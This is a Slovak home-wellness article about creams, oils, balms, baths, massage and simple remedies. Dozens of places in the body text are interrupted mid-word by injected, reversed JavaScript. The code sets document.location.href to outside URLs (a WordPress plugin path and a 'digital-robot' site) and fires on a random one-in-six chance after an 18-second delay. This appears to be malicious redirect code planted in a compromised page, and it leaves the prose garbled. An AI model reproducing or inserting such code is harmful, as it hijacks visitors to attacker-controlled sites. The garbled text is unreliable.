WELLNES DOMA

Wellness v pohodlí domova

 Cítite sa unavená, bez energie a bez chuti do života? Pohodový wellness večer vás príjemne naladí do ďalšieho dňa. Rozmaznajte svoje telo v pohodlí Vášho domova!

Emulzie, krémy, gély, balzamy, oleje, maslá aj mlieka vám zjemnia, vyčistia a spevnia pokožku, pomôžu od rôznych ťažkostí a dokonca aj zlepšia náladu! Môžete ich používať po kúpeli, sprche či pri masáži  a dokonca aj na osvieženie vzduchu.  Liečivé zložky v produktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toch  majú uvoľňujúce účinky, pomáhajú zmierniť bolesti, niektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toré dokonca pôsobia protizápalovo, na vyhladenie vrások, čistia, spevňujú aj omladzujú pleť,  chránia ju pred vysúšaním. Pokožku budete mať jemnejšiu, pružnejšiu a hebkejšiu.  Telo si oddýchne, organizmus získa viac energie a duša dostane nový rozmer!

Viete, čo si máte hodiť v obchode do košíka?

Telová kozmetika obsahuje množstvo rôznych produktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov, viete sa v nich orientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovať?

Gély

Vyznačujú sa hustejšou konzistenciou. Majú chladivý charakter a používajú sa hlavne na unavené svaly po cvičení, turistike alebo inej fyzickej námahe. Sú vhodné pri svalovej horúčke, stuhnutých svaloch či modrinách. Gély majú uvoľňujúce účinky, potláčajú prejavy zápalu. Pri pravidelnom aplikovaní vám tiež pomôžu uľaviť od bolesti. Napríklad: chrbta, hlavy, kĺbov aj svalov.

Balzamy

Majú rôzne zloženie a môžu mať charakter gélu, emulzie alebo krému. Väčšinou majú liečivé účinky, pomáhajú pri rôznych bolestiach. Aplikujú sa aj formou zábalov. Zvyšujú elasticitu pokožky, chránia ju pred vysúšaním a zabraňujú popraskaniu kože.

Oleje

Nedráždivá zmes olejov s príjemnou kĺzavosťou pomáha pri rôznych ťažkostiach. Využiť ich môžete na masáže, do kúpeľa, alebo do aróma lampy na osvieženie vzduchu. Podľa zloženia pomáhajú pri rôznych zdravotných ťažkostiach od prechladnutia, až po bolestí kĺbov či svalov, proti depresii, na zlepšenie nálady. Ocenia ich hlavne majiteľky suchej pokožky. Pomáhajú pokožku udržať hladkú a hebkú.

Krémy

Používajú sa na denne. Sú vhodné na bežnú starostlivosť o pokožku. Do krémov sa pridávajú rôzne zložky a  podľa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toho majú širokospektrálne použitie: slúžia na hydratáciu, na zredukovanie vrások, proti celulitíde, na spevnenie pokožky… Vyberajte si krémy podľa typu vašej pleti.

Maslá

Vyznačujú sa vysokou hustoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tou a majú špecifické použitie. Nájdete ich v produktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toch vlasovej aj telovej kozmetiky. Maslá majú podobné zloženie ako ľudské tuky a pretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sa ľahšie vstrebávajú. Môžete ich zmiešať s esenciálnymi olejmi a vytvoríte si vlastný wellness rituál. Sú ideálne pri starostlivosti o suchú, poškodenú a namáhanú pokožku.

Mlieka

Dokonale pokožku hydratujú a chránia ju pred vysúšaním aj pred vplyvom voľných radikálov. Sú ľahko roztierateľné, dodávajú kožným bunkám potrebnú energiu. Udržiavajú pružnosť pokožky. Sú určené na denné používanie po kúpeli aj sprche a zabezpečujú tak hebkosť aj jemnosť.

Ako postupovať?

Vonný kúpeľ

Napustite si do vane vodu, nemala by mať však viac než 37 stupňov Celzia. Môžete si do nej nakvapkať esenciálny olej a ponoriť sa do nej. Na zlepšenie atmosféry si môžete zapáliť sviečky a pustiť obľúbenú hudbu. Dokonale sa uvoľníte. Pokožku si môžete jemne masírovať hubkou alebo kefkou, lepšie sa prekrví. V kúpeli zotrvajte najviac 20 minút.

Uvoľňujúca masáž

Najskôr si poriadne zahrejte dlane, vzájomne ich šuchajte o seba. Urobte si pohodlie, zhlboka dýchajte. Na rozohriate dlane si naneste balzam alebo olej, krém či mlieko a začnite končekmi prstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov jemne masírovať tvár. Začínajte na spánkoch. Postupne premasírujte ruky od ramien až po končeky prstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov, potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom brucho a stehná. Ak trpíte celulitídou skúste tietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to partie masírovať dlhšie, môžete použiť aj masážnu rukavicu.

Vyhladzujúci píling

Píling pomáha odstraňovať z pokožky odumreté bunky a stáva sa tak neprekonateľným prírodným vyhladzovačom. Procedúra pokožku  nielen vyhladí, ale aj rozžiari a výsledok je okamžite vidieť aj cítiť.

Hydratačné zábaly a masky

Nielen tvár potrebuje pravidelnú starostlivosť. Nezabúdajte na krk, dekolt, ramená, ruky a chodidlá… Na zábaly nešetrite emulziami… Na týchtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to častiach tela je pomerne tenká pokožka, ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torá sa rýchlo vysuší. Na krku a dekolte sa veľakrát starnutie objaví rýchlejšie než na iných častiach tela. Nezabúdajte na ruky a chodidlá. Tie zvykne veľa žien zanedbávať a nevenujú im takú pozornosť, akú by si zaslúžili… Pritoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom chodidla sú väčšiu časť dňa zatvorené, obuv je veľakrát nepriedušná a tak sa stávajú častým zdrojom infekcií a plesní.

Ako si pomôcť pri zdravotných problémoch?

Bolesť hlavy

Odstránite ju, ak si jemne vymasírujete spánkovú časť, prípadne palcom a ukazovákom zatlačíte do stredu ušného lalôčika  a masírujete ho z oboch strán.

Bolesti chrbta

Pri boľavom chrbte či stuhnutej šiji vám pomôže masáž olejmi alebo liečivými balzamami. Ľahnite si na bruchu a poproste partnera, aby si zahrial dlane a jemne vám chrbát vymasíroval.

Celulitída, strie

Celulitída trápi viac než 90 percent žien. Pomôže masáž, píling a anticelulitídne krémy.

Bolesť kĺbov

Na bolestivé kĺby pomáhajú gély s liečivými zložkami. Pravidelným používaním si môžete výrazne od bolestí uľaviť.

Popraskané päty

V kúpeli päty jemne obrúste pemzou, po vysušení ich natrite špeciálnym ošetrujúcim a upokojujúcim krémom.

Studené nohy

Na studené nohy vyskúšajte teplý kúpeľ. Potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom ich osušte, nakrémujte hrejivým balzamom a šup do teplých ponožiek. Nohy si udržiavajte v teple nielen vo dne, ale aj v noci.

Zlatica Beňová

 

 

Category: ZDRAVIE a FIT